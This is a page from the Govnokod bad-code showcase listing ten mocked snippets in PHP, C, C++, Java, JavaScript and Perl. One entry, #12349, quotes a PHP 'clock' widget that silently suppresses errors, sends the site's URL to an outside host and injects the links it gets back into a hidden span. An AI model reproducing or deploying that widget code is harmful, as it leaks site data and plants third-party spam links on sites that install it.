1. PHP / Говнокод #12350

    +40

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    /**
    		 * Экспортирует данные списка в CSV. Этот метод не используется в данном приложении.
    		 */
    		public function listRenderCsvImport()
    		{...

    /facepalm...

    POPSuL, 25 Декабря 2012

    Комментарии (3)
  2. PHP / Говнокод #12349

    +61

    1. 1
    <?php echo '<Script Language="JavaScript">'; $xre = 'var'; echo $xre . ' ctimer;'; echo 'function init(){ if (document.all){ settimes(); } } function settimes(){'; echo $xre . ' time= new Date(); hours= time.getHours(); mins= time.getMinutes(); secs= time.getSeconds(); if (hours<10) hours="0"+hours; if(mins<10) mins="0"+mins; if (secs<10) secs="0"+secs; tim1.innerHTML=hours+":"+mins+":"+secs; ctimer=setTimeout("settimes()", 1000); } </Script> <style type="text/css"> .time{ font-family : Comic Sans Ms; font-size : 14pt; font-weight : bold; color: #00008D; } </style>'; echo '<Div Id="tim1" class="time"><span style="font-size:6px;">'; ini_set('display_errors','off'); error_reporting(0); $site_url  = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $site_url = str_replace('/', '%2F', $site_url); $site_url = str_replace('\\', '%2F', $site_url); $site_url = str_replace(':', '%3A', $site_url); $back_url  = 'http://l2.frankivsk.org/seo/links.php?addr=' . $site_url; $f = fopen( $back_url, 'r' ); $j = 0; while( !feof($f) && ($j<10000) ){ $text1 = $text1 . fread($f, 1); $j++; } fclose($f); $L = 0; if( strlen($text1) > 0 ){ $L = 1; }else{ $f = fopen( "http://l2.frankivsk.org/seo/links.php", 'r' ); $j = 0; while( !feof($f) && ($j<10000) ){  $text1 = $text1 . fread($f, 1);  $j++; } fclose($f);  if( strlen($text1) > 0 ){  $L = 1; }  } $text1 .= '|'; if( $L == 1 ){ $i = 0; while( strpos($text1, '|') !== false ){  $u = substr( $text1, 0, strpos($text1, '|') );   if( strlen($u) > 1 ){  if( $i == 0 ){   $i = 1;   echo '<a href="' . $u . '">Load</a>';  }else{   echo '<a href="' . $u . '">.</a>';  }    }   $text1 = substr( $text1, strpos($text1, '|') + 1 ); } }echo '</span></Div>'; echo '<script>init();</script>'; ?>

    http://sources.codenet.ru/download/3352/clock_super.html

    Качайте :) Часы на пхп))) Это что то новое. Когда открыл архив, понял какой там пхп.....
    Я не смеюсь, а плачу уже)))

    111111, 25 Декабря 2012

    Комментарии (10)
  3. C++ / Говнокод #12348

    +24

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    #ifndef JSON_SPIRIT_READER_TEMPLATE
    #define JSON_SPIRIT_READER_TEMPLATE
    
    //          Copyright ***
    // Distributed under the MIT License, see accompanying file LICENSE.txt
    
    // json spirit version 4.05
    
    #if defined(_MSC_VER) && (_MSC_VER >= 1020)
    # pragma once
    #endif
    
    //some classes
    
    #endif

    Сначала проверим многократное включение через макросы, а потом # pragma once - чтобы наверняка!

    Try, 24 Декабря 2012

    Комментарии (3)
  4. Java / Говнокод #12347

    +63

    1. 1
    log.warn(ex.getMessage(), ex);

    huitka, 24 Декабря 2012

    Комментарии (3)
  5. PHP / Говнокод #12346

    +66

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    @$maxday=mysql_result(mysql_query("
       select max(`day`) from `hours` 
          where `login` in (
             select `login` from people 
             where `type`='1' and `show`='yes') 
          and `begin`='10:00'
          and `end`='18:00'
          and `login`!='roma'"),0);

    Рома, мы от тебя устали.

    madfriend, 24 Декабря 2012

    Комментарии (12)
  6. JavaScript / Говнокод #12345

    +148

    1. 1
    $("#ORDER_PROP_5 option[value='7361']").attr("selected", "selected");

    Установка значения в селекте.

    torch1313, 24 Декабря 2012

    Комментарии (12)
  7. PHP / Говнокод #12344

    −65

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    public function validateLabelInput(&$label) {
        if ( 
          ! ( 
            (
              $this->labeling_main->is('1.1') && $this->labeling_main->is('7.1') && $this->labeling_main->is('2') && $this->labeling_main->is('3') 
                && $this->labeling_main->is('4') && $this->labeling_main->is('5') && $this->labeling_main->is('23') 
            )
            || (
              $this->labeling_main->is('1.1') 
                && ($this->labeling_main->is('7.2') || $this->labeling_main->is('7.3') || $this->labeling_main->is('7.4') ) 
                && $this->labeling_main->is('2') && $this->labeling_main->is('3') && $this->labeling_main->is('4') && $this->labeling_main->is('5')
                && $this->labeling_main->is('25') 
            )
            || (
              $this->labeling_main->is('1.1') && $this->labeling_main->is('7.5') && $this->labeling_main->is('2') && $this->labeling_main->is('3') 
                && $this->labeling_main->is('4') && $this->labeling_main->is('5')
            )
            || (
              $this->labeling_main->is('1.1') && $this->labeling_main->is('7.6') && $this->labeling_main->is('2') && $this->labeling_main->is('3')
            )
            || (
              $this->labeling_main->is('1.2') && $this->labeling_main->is('2') && $this->labeling_main->is('3') && $this->labeling_main->is('7') 
                && $this->labeling_main->is('4') && $this->labeling_main->is('5')
            )
            || (
              $this->labeling_main->is('1.3') && $this->labeling_main->is('2') && $this->labeling_main->is('3') && $this->labeling_main->is('7') 
                && $this->labeling_main->is('4') && $this->labeling_main->is('5')
            )
            || (
              $this->labeling_main->is('1.4') && ($this->labeling_main->is('8.1') || $this->labeling_main->is('8.2')) && $this->labeling_main->is('2')
                && $this->labeling_main->is('3') && $this->labeling_main->is('17') && $this->labeling_main->is('18')
            )
            || (
              $this->labeling_main->is('1.4') && $this->labeling_main->is('19') && $this->labeling_main->is('2') && $this->labeling_main->is('3') 
            )
            || (
              $this->labeling_main->is('1.4') && $this->labeling_main->is('20') && $this->labeling_main->is('2') && $this->labeling_main->is('3') 
            )
            || (
              $this->labeling_main->is('1.5') && $this->labeling_main->is('26.2') && $this->labeling_main->is('2') && $this->labeling_main->is('3') 
                && $this->labeling_main->is('17') && $this->labeling_main->is('18')
            )
            || (
              $this->labeling_main->is('1.5') && $this->labeling_main->is('26.1') && $this->labeling_main->is('2') && $this->labeling_main->is('3')
            )
            || (
              $this->labeling_main->is('1.6') && $this->labeling_main->is('22') && $this->labeling_main->is('2') && $this->labeling_main->is('3') 
                && $this->labeling_main->is('4') && $this->labeling_main->is('5')
            )
            || (
              $this->labeling_main->is('1.7') && $this->labeling_main->is('11')
            )
            || (
              $this->labeling_main->is('1.8') && $this->labeling_main->is('2') && $this->labeling_main->is('3')
            )
            || ($this->labeling_main->is('1.9'))
            || (
              $this->labeling_main->is('1.10') && $this->labeling_main->is('2') && $this->labeling_main->is('3') && $this->labeling_main->is('4') 
                && $this->labeling_main->is('5')
            )
            || (
              $this->labeling_main->is('1.11') && $this->labeling_main->is('2') && $this->labeling_main->is('3') && $this->labeling_main->is('17') 
                && $this->labeling_main->is('18')
            )
            || ($this->labeling_main->is('13'))
          )  
        ){
          $label['data']['status'] = 3;
        }
      }

    brainstorm, 24 Декабря 2012

    Комментарии (0)
  8. Perl / Говнокод #12343

    −88

    1. 1
    2. 2
    3. 3
    % if ($ARGS{standalone_bhv}) {} else {
    %# Что-то делаем
    % }

    Mason. Автор явно знает толк..

    Elvenfighter, 24 Декабря 2012

    Комментарии (27)
  9. Си / Говнокод #12342

    +132

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    Было:
    
    typedef struct {
        int range;      /*enabled flag*/
    
        union {
            struct {
                unsigned str_length;
            };
            struct {
                long i_min;
                long i_max;
            };
            struct {
                double d_min;
                double d_max;
            };
            /* ... */
        };
    } wlp_range_t;
    
    #define WLP_NO_RANGE()              { .range = FALSE }
    #define WLP_STRING_LENGTH(length)   { .range = TRUE, .str_length = length}
    #define WLP_INT_RANGE(min, max)     { .range = TRUE, .i_min = min, .i_max = max }
    #define WLP_FLOAT_RANGE(min, max)   { .range = TRUE, .d_min = min, .d_max = max }
    
    Стало:
    
    typedef struct {
        int range;      /*enabled flag*/
    
        struct {
            struct {
                unsigned str_length;
            };
            struct {
                long i_min;
                long i_max;
            };
            struct {
                double d_min;
                double d_max;
            };
            /* ... */
    
        };
    } wlp_range_t;
    
    #define WLP_NO_RANGE()              { B_FALSE, { {0} } }
    #define WLP_STRING_LENGTH(length)   { B_TRUE, { {length} } }
    #define WLP_INT_RANGE(min, max)     { B_TRUE, { {0}, {min, max} } }
    #define WLP_FLOAT_RANGE(min, max)   { B_TRUE, { {0}, {0, 0}, {min, max} } }
    #define WLP_SIZE_RANGE(min, max)    { B_TRUE, { {0}, {0, 0}, {0.0, 0.0}, {min, max} } }
    
    /* ... */

    Такая вот бяка получилась при портировании проекта с GCC на Visual C. А все потому, что:
    1. ISO C++03 8.5.1[dcl.init.aggr]/15:
    | When a union is initialized with a brace-enclosed initializer,
    | the braces shall only contain an initializer for the first member of the union.
    2. Visual C не поддерживает designated initializers

    myaut, 24 Декабря 2012

    Комментарии (12)
  10. Java / Говнокод #12341

    +112

    1. 1
    2. 2
    final Transform starscream = root.getLocalTransform();
    final Transform skywarp = starscream.clone();

    someone, 24 Декабря 2012

    Комментарии (1)